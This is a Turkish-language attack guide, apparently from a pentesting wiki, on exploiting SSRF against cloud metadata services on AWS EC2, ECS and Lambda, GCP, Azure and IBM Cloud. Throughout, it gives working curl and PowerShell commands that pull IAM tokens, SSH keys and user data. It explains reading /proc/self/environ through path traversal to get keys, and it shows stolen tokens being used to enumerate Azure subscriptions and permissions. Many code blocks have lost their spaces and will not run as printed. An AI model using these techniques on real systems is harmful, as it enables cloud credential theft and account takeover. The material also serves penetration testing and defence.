Metadata uç noktası, herhangi bir EC2 makinesinin içinden erişilebilir ve ilginç bilgiler sunar. URL'den erişilebilir: http://169.254.169.254 (metadata hakkında bilgi burada).
Metadata uç noktasının 2 versiyonu vardır. İlk versiyon, uç noktaya GET istekleri ile erişime izin verir (bu nedenle herhangi bir SSRF bunu kötüye kullanabilir). Versiyon 2 için, IMDSv2, bir token istemek için PUT isteği göndermeniz ve ardından bu token'ı başka bir HTTP başlığı ile metadata'ya erişmek için kullanmanız gerekir (bu nedenle kötüye kullanmak daha karmaşıktır).
EC2 örneği IMDSv2'yi zorunlu kılıyorsa, belgelere göre, PUT isteğinin yanıtı1'lik bir hop limiti olacaktır, bu da EC2 örneği içindeki bir konteynerden EC2 metadata'sına erişimi imkansız hale getirir.
Ayrıca, IMDSv2 ayrıca X-Forwarded-For başlığını içeren bir token almak için yapılan istekleri de engelleyecektir. Bu, yanlış yapılandırılmış ters proxy'lerin buna erişmesini önlemek içindir.
Dikkat edin aws_session_token, bu profilin çalışması için vazgeçilmezdir.
PACU keşfedilen kimlik bilgileri ile ayrıcalıklarınızı öğrenmek ve ayrıcalıkları yükseltmeye çalışmak için kullanılabilir.
AWS ECS (Konteyner Servisi) kimlik bilgileri üzerindeki SSRF
ECS, kendi küme yönetim altyapınızı ölçeklendirmeden bir uygulama çalıştırabileceğiniz EC2 örneklerinin mantıksal bir grubudur çünkü ECS bunu sizin için yönetir. ECS'de çalışan bir hizmeti ele geçirmeyi başarırsanız, metadata uç noktaları değişir.
http://169.254.170.2/v2/credentials/<GUID> adresine erişirseniz, ECS makinesinin kimlik bilgilerini bulacaksınız. Ancak önce <GUID>'yi bulmanız gerekiyor. <GUID>’yi bulmak için makine içindeki environ değişkeni AWS_CONTAINER_CREDENTIALS_RELATIVE_URI'yi okumanız gerekiyor.
Bunu file:///proc/self/environ üzerinde bir Path Traversal istismar ederek okuyabilirsiniz.
Bahsedilen http adresi size AccessKey, SecretKey ve token'ı vermelidir.
Not edin ki bazı durumlardaEC2 metadata instance'ına konteynerden erişebileceksiniz (önceki bölümde bahsedilen IMDSv2 TTL sınırlamalarını kontrol edin). Bu senaryolarda konteynerden hem konteyner IAM rolüne hem de EC2 IAM rolüne erişebilirsiniz.
AWS Lambda için SSRF
Bu durumda kimlik bilgileri env değişkenlerinde saklanmaktadır. Bu nedenle, onlara erişmek için file:///proc/self/environ gibi bir şeye erişmeniz gerekir.
İlginç env değişkenlerininisimleri şunlardır:
AWS_SESSION_TOKEN
AWS_SECRET_ACCESS_KEY
AWS_ACCES_KEY_ID
Ayrıca, IAM kimlik bilgilerine ek olarak, Lambda fonksiyonları başlatıldığında fonksiyona iletilen olay verilerine de sahiptir. Bu veriler, runtime arayüzü aracılığıyla fonksiyona sunulur ve hassasbilgiler içerebilir (örneğin stageVariables içinde). IAM kimlik bilgileri ile karşılaştırıldığında, bu verilere standart SSRF üzerinden http://localhost:9001/2018-06-01/runtime/invocation/next adresinden erişilebilir.
Not edin ki lambda kimlik bilgilerienv değişkenlerinin içindedir. Bu nedenle, eğer stack trace lambda kodunun env değişkenlerini yazdırıyorsa, uygulamada bir hata provoke ederek sızdırılması mümkündür.
Sızdırılan hizmet hesabı jetonunu kullanmak için şunları yapabilirsiniz:
# Via env varsexport CLOUDSDK_AUTH_ACCESS_TOKEN=<token>gcloudprojectslist# Via setupecho"<token>">/some/path/to/tokengcloudconfigsetauth/access_token_file/some/path/to/tokengcloudprojectslistgcloudconfigunsetauth/access_token_file
# PowershellInvoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -NoProxy -Uri "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | ConvertTo-Json -Depth 64
## User data$userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021- 01-01&format=text"
[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($userData))# Paths/metadata/instance?api-version=2017-04-02/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text/metadata/instance/compute/userData?api-version=2021-01-01&format=text
Azure App Service
env'den IDENTITY_HEADERveIDENTITY_ENDPOINT değerlerini alabilirsiniz. Bunu, metadata sunucusuyla konuşmak için bir token toplamak için kullanabilirsiniz.
Çoğu zaman, bu kaynaklardan biri için bir token almak istersiniz:
# Check for those env vars to know if you are in an Azure appecho $IDENTITY_HEADERecho $IDENTITY_ENDPOINT# You should also be able to find the folder:ls/opt/microsoft#and the filels/opt/microsoft/msodbcsql17# Get management tokencurl"$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01"-Hsecret:$IDENTITY_HEADER# Get graph tokencurl"$IDENTITY_ENDPOINT?resource=https://graph.azure.com/&api-version=2017-09-01"-Hsecret:$IDENTITY_HEADER# API# Get SubscriptionsURL="https://management.azure.com/subscriptions?api-version=2020-01-01"curl-H"Authorization: $TOKEN""$URL"# Get current permission on resources in the subscriptionURL="https://management.azure.com/subscriptions/<subscription-uid>/resources?api-version=2020-10-01'"curl-H"Authorization: $TOKEN""$URL"# Get permissions in a VMURL="https://management.azure.com/subscriptions/<subscription-uid>/resourceGroups/Engineering/providers/Microsoft.Compute/virtualMachines/<VM-name>/providers/Microsoft.Authorization/permissions?api-version=2015-07-01"
curl-H"Authorization: $TOKEN""$URL"
# API request in powershell to management endpoint$Token ='eyJ0eX..'$URI='https://management.azure.com/subscriptions?api-version=2020-01-01'$RequestParams =@{Method ='GET'Uri = $URIHeaders =@{'Authorization'="Bearer $Token"}}(Invoke-RestMethod @RequestParams).value# API request to graph endpoint (get enterprise applications)$Token ='eyJ0eX..'$URI ='https://graph.microsoft.com/v1.0/applications'$RequestParams =@{Method ='GET'Uri = $URIHeaders =@{'Authorization'="Bearer $Token"}}(Invoke-RestMethod @RequestParams).value# Using AzureAD Powershell module witho both management and graph tokens$token ='eyJ0e..'$graphaccesstoken ='eyJ0eX..'Connect-AzAccount -AccessToken $token -GraphAccessToken $graphaccesstoken -AccountId 2e91a4f12984-46ee-2736-e32ff2039abc
# Try to get current perms over resourcesGet-AzResource## The following error means that the user doesn't have permissions over any resourceGet-AzResource : 'this.Client.SubscriptionId' cannot be null.At line:1 char:1+Get-AzResource+ ~~~~~~~~~~~~~~+ CategoryInfo : CloseError: (:) [Get-AzResource],ValidationException+ FullyQualifiedErrorId :Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResourceCmdlet
IBM Cloud
IBM'de varsayılan olarak metadata'nın etkin olmadığını unutmayın, bu nedenle bir IBM cloud VM içinde olsanız bile buna erişemeyebilirsiniz.
export instance_identity_token=`curl-s-XPUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\-H "Metadata-Flavor: ibm"\-H "Accept: application/json"\-d '{"expires_in": 3600}' |jq-r '(.access_token)'`# Get instance detailscurl -s -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" -X GET "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" | jq
# Get SSH keys infocurl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" | jq
# Get SSH keys fingerprints & user datacurl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" | jq
# Get placement groupscurl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" | jq
# Get IAM credentialscurl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq
Farklı platformların metadata hizmetleri için belgeler aşağıda özetlenmiştir ve örnekler, yapılandırma ve çalışma zamanı bilgilerine erişim yöntemlerini vurgulamaktadır. Her platform, metadata hizmetlerine erişim için benzersiz uç noktalar sunmaktadır.